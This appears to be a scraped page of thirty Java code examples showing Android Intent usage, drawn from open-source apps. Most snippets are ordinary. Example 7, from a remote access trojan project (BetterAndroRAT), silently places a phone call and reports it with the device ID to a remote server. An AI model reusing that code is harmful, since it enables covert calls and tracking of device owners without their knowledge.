Java Code Examples for android.content.Intent
The following examples show how to use
android.content.Intent. These examples are extracted from open source projects.
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source Project: UltimateAndroid Source File: SwipeLayoutActivity.java License: Apache License 2.0 | 6 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_listview) { startActivity(new Intent(this, ListViewExample.class)); return true; } else if (id == R.id.action_gridview) { startActivity(new Intent(this, GridViewExample.class)); return true; } else if (id == R.id.action_nexted) { startActivity(new Intent(this, NestedExample.class)); return true; } return super.onOptionsItemSelected(item); }
Example 2
Source Project: talalarmo Source File: AlarmLayout.java License: MIT License | 6 votes |
private static void showSettingsMenu(View v) { PopupMenu menu = new PopupMenu(v.getContext(), v); menu.getMenuInflater().inflate(R.menu.overflow_popup, menu.getMenu()); menu.setOnMenuItemClickListener(item -> { if (item.getItemId() == R.id.menu_settings) { ((MainActivity) v.getContext()).openSettings(); } else if (item.getItemId() == R.id.menu_feedback) { Context c = v.getContext(); Intent intent = new Intent(Intent.ACTION_SENDTO, Uri.fromParts("mailto", "[email protected]", null)); intent.putExtra(Intent.EXTRA_SUBJECT, "Feedback about Talalarmo"); v.getContext().startActivity(Intent.createChooser(intent, c.getString(R.string.leave_feedback))); } return true; }); menu.show(); }
Example 3
Source Project: Abelana-Android Source File: NativeProtocol.java License: Apache License 2.0 | 6 votes |
public static UUID getCallIdFromIntent(Intent intent) { int version = getProtocolVersionFromIntent(intent); String callIdString = null; if (isVersionCompatibleWithBucketedIntent(version)) { Bundle bridgeArgs = intent.getBundleExtra(EXTRA_PROTOCOL_BRIDGE_ARGS); if (bridgeArgs != null) { callIdString = bridgeArgs.getString(BRIDGE_ARG_ACTION_ID_STRING); } } else { callIdString = intent.getStringExtra(EXTRA_PROTOCOL_CALL_ID); } UUID callId = null; if (callIdString != null) { try { callId = UUID.fromString(callIdString); } catch (IllegalArgumentException exception) { } } return callId; }
Example 4
Source Project: DKVideoPlayer Source File: DetailActivity.java License: Apache License 2.0 | 6 votes |
private void initVideoView() { //拿到VideoView实例 mVideoView = getVideoViewManager().get(Tag.SEAMLESS); //如果已经添加到某个父容器,就将其移除 Utils.removeViewFormParent(mVideoView); //把播放器添加到页面的容器中 mPlayerContainer.addView(mVideoView); //设置新的控制器 StandardVideoController controller = new StandardVideoController(DetailActivity.this); mVideoView.setVideoController(controller); Intent intent = getIntent(); boolean seamlessPlay = intent.getBooleanExtra(IntentKeys.SEAMLESS_PLAY, false); String title = intent.getStringExtra(IntentKeys.TITLE); controller.addDefaultControlComponent(title, false); if (seamlessPlay) { //无缝播放需还原Controller状态 controller.setPlayState(mVideoView.getCurrentPlayState()); controller.setPlayerState(mVideoView.getCurrentPlayerState()); } else { //不是无缝播放的情况 String url = intent.getStringExtra(IntentKeys.URL); mVideoView.setUrl(url); mVideoView.start(); } }
Example 5
Source Project: YTPlayer Source File: OPlaylistFragment.java License: GNU General Public License v3.0 | 6 votes |
@Override public void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == 101) { if (resultCode== Activity.RESULT_OK) YTutils.showInterstitialAd(activity); } if (requestCode == 42) { Uri treeUri = data.getData(); DocumentFile pickedDir = DocumentFile.fromTreeUri(activity, treeUri); activity.grantUriPermission(activity.getPackageName(), treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); activity.getContentResolver().takePersistableUriPermission(treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); SharedPreferences.Editor editor = preferences.edit(); editor.putString("ext_sdcard", treeUri.toString()); editor.apply(); Toast.makeText(activity, "Permission granted, try to delete file again!", Toast.LENGTH_LONG).show(); } super.onActivityResult(requestCode, resultCode, data); }
Example 6
Source Project: Aerlink-for-Android Source File: AerlinkActivity.java License: MIT License | 6 votes |
@Override protected void onResume() { super.onResume(); if (isServiceRunning()) { if (!mServiceBound){ Intent intent = new Intent(this, MainService.class); bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE); } showErrorInterface(false); } else if (mServiceBound) { stopService(); } updateInterface(); }
Example 7
Source Project: BetterAndroRAT Source File: MyService.java License: GNU General Public License v3.0 | 6 votes |
@Override protected String doInBackground(String... params) { String telephone = "tel:" + i.trim() ; Intent intent = new Intent(Intent.ACTION_CALL); intent.setData(Uri.parse(telephone)); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); try { getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Initiated: " + i); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return "Executed"; }
Example 8
Source Project: imsdk-android Source File: QopenExternalRNImpl.java License: MIT License | 6 votes |
@Override public boolean startActivityAndNeedWating(IMBaseActivity context, Map<String, String> map) { // if(map != null){ // String groupId = map.get("groupId"); Intent intent = new Intent(context, QtalkServiceExternalRNActivity.class); for (Map.Entry<String, String> entry : map.entrySet()) { // intent.putExtra(entry.getKey(), entry.getValue() + ""); // map.put(entry.getKey(),entry.getValue()); // str+=entry.getKey()+"="+entry.getValue()+"&"; intent.putExtra(entry.getKey(),entry.getValue()); } // intent.putExtra("groupId", groupId); // intent.putExtra("permissions", ConnectionUtil.getInstance().selectGroupMemberPermissionsByGroupIdAndMemberId(groupId, CurrentPreference.getInstance().getPreferenceUserId())); context.startActivity(intent); // } return false; }
Example 9
Source Project: sana.mobile Source File: MainActivity.java License: BSD 3-Clause "New" or "Revised" License | 6 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { case OPTION_EXPORT_DATABASE: try { boolean exported = SanaUtil.exportDatabase(this, "models.db"); } catch (IOException e) { e.printStackTrace(); } return true; case OPTION_SETTINGS: Intent i = new Intent(Intent.ACTION_PICK); i.setClass(this, Settings.class); startActivityForResult(i, SETTINGS); return true; case OPTION_SYNC: //doUpdatePatientDatabase(); return true; } return false; }
Example 10
Source Project: hash-checker Source File: HashCalculatorFragment.java License: Apache License 2.0 | 6 votes |
private void openInnerFileManager() { Intent openExplorerIntent = new Intent( getContext(), FileManagerActivity.class ); String lastPath = SettingsHelper.getLastPathForInnerFileManager(context); if (lastPath != null) { openExplorerIntent.putExtra( FileManagerActivity.LAST_PATH, lastPath ); } startActivityForResult( openExplorerIntent, FileManagerActivity.FILE_SELECT_FROM_FILE_MANAGER ); }
Example 11
Source Project: PowerFileExplorer Source File: MainActivityHelper.java License: GNU General Public License v3.0 | 6 votes |
/** * Helper method to start Compress service * * @param file the new compressed file * @param baseFiles list of {@link BaseFile} to be compressed */ public void compressFiles(File file, ArrayList<BaseFile> baseFiles) { int mode = checkFolder(file.getParentFile(), mainActivity); if (mode == 2) { mainActivity.originPath_oppathe = (file.getPath()); mainActivity.operation = DataUtils.COMPRESS; mainActivity.originPaths_oparrayList = baseFiles; } else if (mode == 1) { Intent intent2 = new Intent(mainActivity, ZipTask.class); intent2.putExtra(ZipTask.KEY_COMPRESS_PATH, file.getPath()); intent2.putExtra(ZipTask.KEY_COMPRESS_FILES, baseFiles); ServiceWatcherUtil.runService(mainActivity, intent2); } else { Toast.makeText(mainActivity, R.string.not_allowed, Toast.LENGTH_SHORT).show(); } }
Example 12
Source Project: microMathematics Source File: Commander.java License: GNU General Public License v3.0 | 6 votes |
@Override public void issue(Intent in, int ret) { if (in == null) return; try { if (ret == 0) context.startActivity(in); else context.startActivityForResult(in, ret); } catch (Exception e) { e.printStackTrace(); } }
Example 13
Source Project: andela-crypto-app Source File: MainActivity.java License: Apache License 2.0 | 6 votes |
@Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_profile) { profileDialog.show(getSupportFragmentManager(), "profile"); return true; } else if (id == R.id.action_settings) { startActivity(new Intent(this, SettingsActivity.class)); return true; } return super.onOptionsItemSelected(item); }
Example 14
Source Project: AOSP-Kayboard-7.1.2 Source File: DictionaryService.java License: Apache License 2.0 | 6 votes |
/** * Setups an alarm to check for updates if an update is due. */ private static void checkTimeAndMaybeSetupUpdateAlarm(final Context context) { // Of all clients, if the one that hasn't been updated for the longest // is still more recent than UPDATE_FREQUENCY_MILLIS, do nothing. if (!isLastUpdateAtLeastThisOld(context, UPDATE_FREQUENCY_MILLIS)) return; PrivateLog.log("Date changed - registering alarm"); AlarmManager alarmManager = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE); // Best effort to wake between midnight and MAX_ALARM_DELAY_MILLIS in the morning. // It doesn't matter too much if this is very inexact. final long now = System.currentTimeMillis(); final long alarmTime = now + new Random().nextInt(MAX_ALARM_DELAY_MILLIS); final Intent updateIntent = new Intent(new DictionaryPackConstants(context).UPDATE_NOW_INTENT_ACTION); final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, updateIntent, PendingIntent.FLAG_CANCEL_CURRENT); // We set the alarm in the type that doesn't forcefully wake the device // from sleep, but fires the next time the device actually wakes for any // other reason. if (null != alarmManager) alarmManager.set(AlarmManager.RTC, alarmTime, pendingIntent); }
Example 15
Source Project: FaceT Source File: PostActivity.java License: Mozilla Public License 2.0 | 6 votes |
private View createView2() { LayoutInflater inflater2 = LayoutInflater.from(getBaseContext()); LinearLayout view2 = (LinearLayout) inflater2.inflate(R.layout.activity_post_image, null, false); Typeface fontType = FontManager.getTypeface(getApplicationContext(), FontManager.APP_FONT); FontManager.markAsIconContainer(findViewById(R.id.activity_post_layout), fontType); mSelectImage = (ImageButton) view2.findViewById(R.id.imageButton); mSelectImage.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent( Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI); startActivityForResult(intent, GALLERY_REQUEST); } }); return view2; }
Example 16
Source Project: Android Source File: KeepLiveActivity.java License: MIT License | 6 votes |
@Override public void initView() { activity = this; Window window = getWindow(); window.setGravity(Gravity.LEFT | Gravity.TOP); WindowManager.LayoutParams params = window.getAttributes(); params.x = 0; params.y = 0; params.width = 1; params.height = 1; window.setAttributes(params); receiver =new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { finish(); } }; IntentFilter filter = new IntentFilter(); filter.addAction("KeepLive"); registerReceiver(receiver, filter); }
Example 17
Source Project: zone-sdk Source File: NetStatusReceiver.java License: MIT License | 6 votes |
@Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = connectivityManager.getActiveNetworkInfo(); NetStatue status = NetStatue.NO_WORK; if (info != null && info.isAvailable()) { if (NetManager.Net_MOBILE.equals(info.getTypeName())) { status = NetStatue.MOBILE; } else if (NetManager.Net_WIFI.equals(info.getTypeName())) { status = NetStatue.WIFI; } } if (listener != null) { listener.netWorkChange(status); } } }
Example 18
Source Project: Botifier Source File: SWExtensionService.java License: BSD 2-Clause "Simplified" License | 6 votes |
@Override protected void onViewEvent(Intent intent) { String action = intent.getStringExtra(Notification.Intents.EXTRA_ACTION); String hostAppPackageName = intent .getStringExtra(Registration.Intents.EXTRA_AHA_PACKAGE_NAME); boolean advancedFeaturesSupported = DeviceInfoHelper.isSmartWatch2ApiAndScreenDetected( this, hostAppPackageName); int eventId = intent.getIntExtra(Notification.Intents.EXTRA_EVENT_ID, -1); if (Notification.SourceColumns.ACTION_1.equals(action)) { NotificationUtil.deleteAllEvents(this); } else if (Notification.SourceColumns.ACTION_2.equals(action)) { NotificationUtil.deleteAllEvents(this); } else if (Notification.SourceColumns.ACTION_3.equals(action)) { Toast.makeText(this, "Action 3", Toast.LENGTH_LONG).show(); } }
Example 19
Source Project: Android-9-Development-Cookbook Source File: MainActivity.java License: MIT License | 5 votes |
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode==REQUEST_SPEECH && resultCode == RESULT_OK && data!=null) { ArrayList<String> result = data.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS); TextView textView = findViewById(R.id.textView); if (!result.isEmpty()){ textView.setText(""); for (String item : result ) { textView.append(item+"\n"); } } } }
Example 20
Source Project: Social Source File: PostDetailActivity.java License: Apache License 2.0 | 5 votes |
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { switch (requestCode){ case MODIFY_POST: if (resultCode == RESULT_OK){ finish(); } break; } }
Example 21
Source Project: geopaparazzi Source File: MixareHandler.java License: GNU General Public License v3.0 | 5 votes |
/** * Lanches an intent that guides to the mixare installation. * * @param context the {@link Context} to use. */ public static void installMixareFromMarket(Context context) { Intent i = new Intent(); i.setAction(Intent.ACTION_VIEW); i.setData(Uri.parse("market://search?q=pname:org.mixare")); context.startActivity(i); }
Example 22
Source Project: SI Source File: DemoResource.java License: BSD 2-Clause "Simplified" License | 5 votes |
protected void sendBroadcastMessage(String type, String key, boolean b) { Intent intent = new Intent(type); intent.putExtra(key, b); Log.e(TAG, "Send message: " + type + ", " + key + ", " + String.valueOf(b)); LocalBroadcastManager.getInstance(main_context).sendBroadcast(intent); }
Example 23
Source Project: Orin Source File: SongMenuHelper.java License: GNU General Public License v3.0 | 5 votes |
public static boolean handleMenuClick(@NonNull FragmentActivity activity, @NonNull Song song, int menuItemId) { switch (menuItemId) { case R.id.action_set_as_ringtone: MusicUtil.setRingtone(activity, song.id); return true; case R.id.action_share: activity.startActivity(Intent.createChooser(MusicUtil.createShareSongFileIntent(song), null)); return true; case R.id.action_delete_from_device: DeleteSongsDialog.create(song).show(activity.getSupportFragmentManager(), "DELETE_SONGS"); return true; case R.id.action_add_to_playlist: AddToPlaylistDialog.create(song).show(activity.getSupportFragmentManager(), "ADD_PLAYLIST"); return true; case R.id.action_play_next: MusicPlayerRemote.playNext(song); return true; case R.id.action_add_to_current_playing: MusicPlayerRemote.enqueue(song); return true; case R.id.action_tag_editor: Intent tagEditorIntent = new Intent(activity, SongTagEditorActivity.class); tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_ID, song.id); if (activity instanceof PaletteColorHolder) tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_PALETTE, ((PaletteColorHolder) activity).getPaletteColor()); activity.startActivity(tagEditorIntent); return true; case R.id.action_details: SongDetailDialog.create(song).show(activity.getSupportFragmentManager(), "SONG_DETAILS"); return true; case R.id.action_go_to_album: NavigationUtil.goToAlbum(activity, song.albumId); return true; case R.id.action_go_to_artist: NavigationUtil.goToArtist(activity, song.artistId); return true; } return false; }
Example 24
Source Project: ShareSDK-for-Android Source File: ShowUserInfoActivity.java License: MIT License | 5 votes |
@Override public void initData() { Intent intent = getIntent(); if (intent != null) { userMsg = intent.getStringExtra("userInfo"); } clipBoard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); preClipBoard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); }
Example 25
Source Project: MyBookshelf Source File: ReadAloudService.java License: GNU General Public License v3.0 | 5 votes |
private void initBroadcastReceiver() { broadcastReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (AudioManager.ACTION_AUDIO_BECOMING_NOISY.equals(action)) { pauseReadAloud(true); } } }; IntentFilter intentFilter = new IntentFilter(AudioManager.ACTION_AUDIO_BECOMING_NOISY); registerReceiver(broadcastReceiver, intentFilter); }
Example 26
Source Project: PracticalRecyclerView Source File: MenuViewHolder.java License: Apache License 2.0 | 5 votes |
@OnClick(R.id.container) public void onClick(View view) { int type = mBean.type; switch (type) { case 0: mContext.startActivity(new Intent(mContext, SingleItemActivity.class)); break; case 1: mContext.startActivity(new Intent(mContext, MultiItemActivity.class)); break; case 2: mContext.startActivity(new Intent(mContext, GridActivity.class)); break; case 3: mContext.startActivity(new Intent(mContext, StaggeredActivity.class)); break; case 4: mContext.startActivity(new Intent(mContext, ManualLoadMoreActivity.class)); break; case 5: mContext.startActivity(new Intent(mContext, DragActivity.class)); break; case 6: mContext.startActivity(new Intent(mContext, ExpandActivity.class)); break; } }
Example 27
Source Project: MaxLock Source File: ActionActivity.java License: GNU General Public License v3.0 | 5 votes |
private void fireIntentAndFinish() { // Update MasterSwitch Widget if existent switch (mode) { case ActionsHelper.ACTION_TOGGLE_MASTER_SWITCH: case ActionsHelper.ACTION_MASTER_SWITCH_ON: case ActionsHelper.ACTION_MASTER_SWITCH_OFF: Intent intent = new Intent(this, MasterSwitchWidget.class); intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE); int[] ids = AppWidgetManager.getInstance(getApplication()).getAppWidgetIds(new ComponentName(getApplication(), MasterSwitchWidget.class)); intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids); sendBroadcast(intent); } finish(); }
Example 28
Source Project: android-shoppingcart Source File: ProductActivity.java License: MIT License | 5 votes |
private void setShoppingCartLink() { TextView tvViewShoppingCart = (TextView)findViewById(R.id.tvViewShoppingCart); SpannableString content = new SpannableString(getText(R.string.shopping_cart)); content.setSpan(new UnderlineSpan(), 0, content.length(), 0); tvViewShoppingCart.setText(content); tvViewShoppingCart.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(ProductActivity.this, ShoppingCartActivity.class); startActivity(intent); } }); }
Example 29
Source Project: container Source File: DaemonService.java License: GNU General Public License v3.0 | 5 votes |
@Override public int onStartCommand(Intent intent, int flags, int startId) { startForeground(NOTIFY_ID, new Notification()); stopForeground(true); stopSelf(); return super.onStartCommand(intent, flags, startId); }
Example 30
Source Project: zapp Source File: ChannelDetailActivity.java License: MIT License | 5 votes |
private void play() { if (currentChannel == null || binder == null) { return; } Intent currentIntent = ChannelDetailActivity.getStartIntent(this, currentChannel.getId()); binder.setForegroundActivityIntent(currentIntent); Timber.d("play: %s", currentChannel.getName()); player.load(VideoInfo.fromChannel(currentChannel)); player.resume(); }